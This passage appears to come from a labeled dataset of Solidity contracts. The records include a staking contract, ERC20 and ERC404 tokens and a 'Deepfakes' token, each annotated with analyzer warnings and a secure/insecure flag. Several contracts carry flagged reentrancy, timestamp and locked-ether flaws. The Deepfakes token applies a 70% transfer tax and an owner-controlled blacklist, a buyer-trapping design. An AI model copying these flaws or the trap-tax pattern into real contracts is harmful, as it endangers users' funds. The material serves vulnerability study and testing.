}\n\n\t\t// divide-before-multiply | ID: 9e09f6b\n uint256 calculatedReward = (rewardPerPeriod * periods);\n\n return (calculatedReward, periods);\n }\n\n event RewardClaimed(address addr, uint256 amount, uint256 timestamp);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9415d9f): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9415d9f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d5f36e8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d5f36e8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0f69878): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0f69878: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 306039e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 306039e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimReward() public {\n require(!isBusy, \"Busy in Staking!\");\n\n isBusy = true;\n\n (uint256 _reward, uint256 periods) = calculateReward(msg.sender);\n\n\t\t// timestamp | ID: 9415d9f\n require(_reward > 0, \"No Reward is available\");\n\n uint256 feeTokens = (_reward * stakingFee) / 100;\n\n _reward = _reward - feeTokens;\n\n\t\t// timestamp | ID: 9415d9f\n require(\n stakingToken.balanceOf(address(this)) >= _reward,\n \"No enough reward is available\"\n );\n\n\t\t// timestamp | ID: 9415d9f\n\t\t// reentrancy-events | ID: d5f36e8\n\t\t// reentrancy-benign | ID: 0f69878\n\t\t// reentrancy-no-eth | ID: 306039e\n require(\n stakingToken.transfer(msg.sender, _reward),\n \"Failed to send reward\"\n );\n\n\t\t// reentrancy-no-eth | ID: 306039e\n stakeLadger[msg.sender].lastUpdateTimestamp += (periods *\n stakingPeriod);\n\n\t\t// reentrancy-benign | ID: 0f69878\n totalIssuedReward += _reward;\n\n\t\t// reentrancy-no-eth | ID: 306039e\n stakeLadger[msg.sender].issuedReward += _reward;\n\n\t\t// reentrancy-events | ID: d5f36e8\n emit RewardClaimed(msg.sender, _reward, block.timestamp);\n\n\t\t// reentrancy-no-eth | ID: 306039e\n isBusy = false;\n }\n\n event RewardCompounded(address addr, uint256 amount, uint256 timestamp);\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0dff5c5): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 0dff5c5: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dc775ab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dc775ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 51ec3f3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 51ec3f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fb7fa3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fb7fa3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function compoundReward() public {\n require(!isBusy, \"Busy in Staking!\");\n\n isBusy = true;\n\n (uint256 _reward, uint256 periods) = calculateReward(msg.sender);\n\n\t\t// timestamp | ID: 0dff5c5\n require(_reward > 0, \"No Reward is available\");\n\n uint256 feeTokens = (_reward * stakingFee) / 100;\n\n\t\t// timestamp | ID: 0dff5c5\n\t\t// reentrancy-events | ID: dc775ab\n\t\t// reentrancy-benign | ID: 51ec3f3\n\t\t// reentrancy-no-eth | ID: fb7fa3e\n require(\n stakingToken.transfer(treasuryWallet, feeTokens),\n \"Failed to transfer to treasury wallet\"\n );\n\n _reward = _reward - feeTokens;\n\n\t\t// reentrancy-no-eth | ID: fb7fa3e\n stakeLadger[msg.sender].lastUpdateTimestamp += (periods *\n stakingPeriod);\n\n\t\t// reentrancy-no-eth | ID: fb7fa3e\n stakeLadger[msg.sender].stakedAmount += _reward;\n\n\t\t// reentrancy-benign | ID: 51ec3f3\n totalIssuedReward += _reward;\n\n\t\t// reentrancy-no-eth | ID: fb7fa3e\n stakeLadger[msg.sender].issuedReward += _reward;\n\n\t\t// reentrancy-events | ID: dc775ab\n emit RewardCompounded(msg.sender, _reward, block.timestamp);\n\n\t\t// reentrancy-no-eth | ID: fb7fa3e\n isBusy = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ba8863f): SummitArkStaking.updatetTreasuryWallet(address)._treasuryWallet lacks a zerocheck on \t treasuryWallet = _treasuryWallet\n\t// Recommendation for ba8863f: Check that the address is not zero.\n function updatetTreasuryWallet(address _treasuryWallet) public onlyOwner {\n\t\t// missing-zero-check | ID: ba8863f\n treasuryWallet = _treasuryWallet;\n }\n}",
"file_name": "solidity_code_1474.sol",
"secure": 0,
"size_bytes": 14949
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RealWorldFarmers is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Real World Farmers\", \"RWF\") Ownable(initialOwner) {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1475.sol",
"secure": 1,
"size_bytes": 422
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 144b251): Contract locking ether found Contract Skeledog has payable functions Skeledog.receive() But does not have a function to withdraw the ether\n// Recommendation for 144b251: Remove the 'payable' attribute or add a withdraw function.\ncontract Skeledog is ERC20, Ownable {\n constructor() ERC20(unicode\"Skeledog\", unicode\"SKDOG\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 144b251): Contract locking ether found Contract Skeledog has payable functions Skeledog.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 144b251: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1476.sol",
"secure": 0,
"size_bytes": 1007
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Deepfakes is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8e1a74c): deepfakes._taxWallet should be immutable \n\t// Recommendation for 8e1a74c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"DEEPFAKE\";\n\n string private constant _symbol = unicode\"FAKE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e377d8): deepfakes._initialBuyTax should be constant \n\t// Recommendation for 6e377d8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab4333a): deepfakes._initialSellTax should be constant \n\t// Recommendation for ab4333a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 65e5faf): deepfakes._reduceBuyTaxAt should be constant \n\t// Recommendation for 65e5faf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67e0c33): deepfakes._reduceSellTaxAt should be constant \n\t// Recommendation for 67e0c33: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae33a82): deepfakes._preventSwapBefore should be constant \n\t// Recommendation for ae33a82: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 9413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 9413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ae987c): deepfakes._taxSwapThreshold should be constant \n\t// Recommendation for 7ae987c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6896954): deepfakes._maxTaxSwap should be constant \n\t// Recommendation for 6896954: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c0cd15a): deepfakes.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c0cd15a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 34c6adc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 34c6adc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf31a02): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf31a02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 34c6adc\n\t\t// reentrancy-benign | ID: bf31a02\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 34c6adc\n\t\t// reentrancy-benign | ID: bf31a02\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bf835f2): deepfakes._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bf835f2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bf31a02\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 34c6adc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d78d00b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d78d00b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 63fbb5e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 63fbb5e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d78d00b\n\t\t\t\t// reentrancy-eth | ID: 63fbb5e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d78d00b\n\t\t\t\t\t// reentrancy-eth | ID: 63fbb5e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 63fbb5e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 63fbb5e\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 63fbb5e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d78d00b\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 63fbb5e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 63fbb5e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d78d00b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d78d00b\n\t\t// reentrancy-events | ID: 34c6adc\n\t\t// reentrancy-benign | ID: bf31a02\n\t\t// reentrancy-eth | ID: 63fbb5e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 72969ad): deepfakes.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 72969ad: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d78d00b\n\t\t// reentrancy-events | ID: 34c6adc\n\t\t// reentrancy-eth | ID: 63fbb5e\n\t\t// arbitrary-send-eth | ID: 72969ad\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6c0911c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6c0911c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c4d5a49): deepfakes.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c4d5a49: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 10a0f51): deepfakes.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 10a0f51: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a69f7b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a69f7b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6c0911c\n\t\t// reentrancy-eth | ID: a69f7b1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6c0911c\n\t\t// unused-return | ID: 10a0f51\n\t\t// reentrancy-eth | ID: a69f7b1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6c0911c\n\t\t// unused-return | ID: c4d5a49\n\t\t// reentrancy-eth | ID: a69f7b1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 6c0911c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a69f7b1\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_1477.sol",
"secure": 0,
"size_bytes": 17785
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n event OwnershipTransferred(address indexed user, address indexed newOwner);\n\n error Unauthorized();\n\n error InvalidOwner();\n\n address public owner;\n\n modifier onlyOwner() virtual {\n if (msg.sender != owner) revert Unauthorized();\n\n _;\n }\n\n constructor(address _owner) {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(address(0), _owner);\n }\n\n function transferOwnership(address _owner) public virtual onlyOwner {\n if (_owner == address(0)) revert InvalidOwner();\n\n owner = _owner;\n\n emit OwnershipTransferred(msg.sender, _owner);\n }\n\n function revokeOwnership() public virtual onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(msg.sender, address(0));\n }\n}",
"file_name": "solidity_code_1478.sol",
"secure": 1,
"size_bytes": 949
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Receiver.sol\" as ERC721Receiver;\n\nabstract contract ERC721Receiver {\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external virtual returns (bytes4) {\n return ERC721Receiver.onERC721Received.selector;\n }\n}",
"file_name": "solidity_code_1479.sol",
"secure": 1,
"size_bytes": 369
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface IERC20Meta is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}",
"file_name": "solidity_code_148.sol",
"secure": 1,
"size_bytes": 348
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./ERC721Receiver.sol\" as ERC721Receiver;\n\nabstract contract ERC404 is Ownable {\n event ERC20Transfer(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 amount\n );\n\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed id\n );\n\n event ERC721Approval(\n address indexed owner,\n address indexed spender,\n uint256 indexed id\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n error NotFound();\n\n error AlreadyExists();\n\n error InvalidRecipient();\n\n error InvalidSender();\n\n error UnsafeRecipient();\n\n string public name;\n\n string public symbol;\n\n uint8 public immutable decimals;\n\n uint256 public immutable totalSupply;\n\n uint256 public minted;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n mapping(uint256 => address) public getApproved;\n\n mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n mapping(uint256 => address) internal _ownerOf;\n\n mapping(address => uint256[]) internal _owned;\n\n mapping(uint256 => uint256) internal _ownedIndex;\n\n mapping(address => bool) public whitelist;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalNativeSupply,\n address _owner\n ) Ownable(_owner) {\n name = _name;\n\n symbol = _symbol;\n\n decimals = _decimals;\n\n totalSupply = _totalNativeSupply * (10 ** decimals);\n }\n\n function setWhitelist(address target, bool state) public onlyOwner {\n whitelist[target] = state;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a6c1526): ERC404.ownerOf(uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for a6c1526: Rename the local variables that shadow another component.\n function ownerOf(uint256 id) public view virtual returns (address owner) {\n owner = _ownerOf[id];\n\n if (owner == address(0)) {\n revert NotFound();\n }\n }\n\n function tokenURI(uint256 id) public view virtual returns (string memory);\n\n\t// WARNING Vulnerability (erc721-interface | severity: Medium | ID: 3390810): Circle has incorrect ERC721 function interfaceERC404.approve(address,uint256)\n\t// Recommendation for 3390810: Set the appropriate return values and vtypes for the defined 'ERC721' functions.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d0b02d): ERC404.approve(address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 2d0b02d: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amountOrId\n ) public virtual returns (bool) {\n if (amountOrId <= minted && amountOrId > 0) {\n address owner = _ownerOf[amountOrId];\n\n if (msg.sender != owner && !isApprovedForAll[owner][msg.sender]) {\n revert Unauthorized();\n }\n\n getApproved[amountOrId] = spender;\n\n emit Approval(owner, spender, amountOrId);\n } else {\n allowance[msg.sender][spender] = amountOrId;\n\n emit Approval(msg.sender, spender, amountOrId);\n }\n\n return true;\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n isApprovedForAll[msg.sender][operator] = approved;\n\n emit ApprovalForAll(msg.sender, operator, approved);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amountOrId\n ) public virtual {\n if (amountOrId <= minted) {\n if (from != _ownerOf[amountOrId]) {\n revert InvalidSender();\n }\n\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n if (\n msg.sender != from &&\n !isApprovedForAll[from][msg.sender] &&\n msg.sender != getApproved[amountOrId]\n ) {\n revert Unauthorized();\n }\n\n balanceOf[from] -= _getUnit();\n\n unchecked {\n balanceOf[to] += _getUnit();\n }\n\n _ownerOf[amountOrId] = to;\n\n delete getApproved[amountOrId];\n\n uint256 updatedId = _owned[from][_owned[from].length - 1];\n\n _owned[from][_ownedIndex[amountOrId]] = updatedId;\n\n _owned[from].pop();\n\n _ownedIndex[updatedId] = _ownedIndex[amountOrId];\n\n _owned[to].push(amountOrId);\n\n _ownedIndex[amountOrId] = _owned[to].length - 1;\n\n emit Transfer(from, to, amountOrId);\n\n emit ERC20Transfer(from, to, _getUnit());\n } else {\n uint256 allowed = allowance[from][msg.sender];\n\n if (allowed != type(uint256).max)\n allowance[from][msg.sender] = allowed - amountOrId;\n\n _transfer(from, to, amountOrId);\n }\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n return _transfer(msg.sender, to, amount);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, \"\") !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n bytes calldata data\n ) public virtual {\n transferFrom(from, to, id);\n\n if (\n to.code.length != 0 &&\n ERC721Receiver(to).onERC721Received(msg.sender, from, id, data) !=\n ERC721Receiver.onERC721Received.selector\n ) {\n revert UnsafeRecipient();\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal returns (bool) {\n require(balanceOf[from] >= amount, \"Insufficient balance\");\n\n require(balanceOf[from] > 0, \"No zero transfers\");\n\n balanceOf[from] -= amount;\n\n unchecked {\n balanceOf[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function _getUnit() internal view returns (uint256) {\n return 10 ** decimals;\n }\n\n function _mint(address to) internal virtual {\n if (to == address(0)) {\n revert InvalidRecipient();\n }\n\n unchecked {\n minted++;\n }\n\n uint256 id = minted;\n\n if (_ownerOf[id] != address(0)) {\n revert AlreadyExists();\n }\n\n _ownerOf[id] = to;\n\n _owned[to].push(id);\n\n _ownedIndex[id] = _owned[to].length - 1;\n\n emit 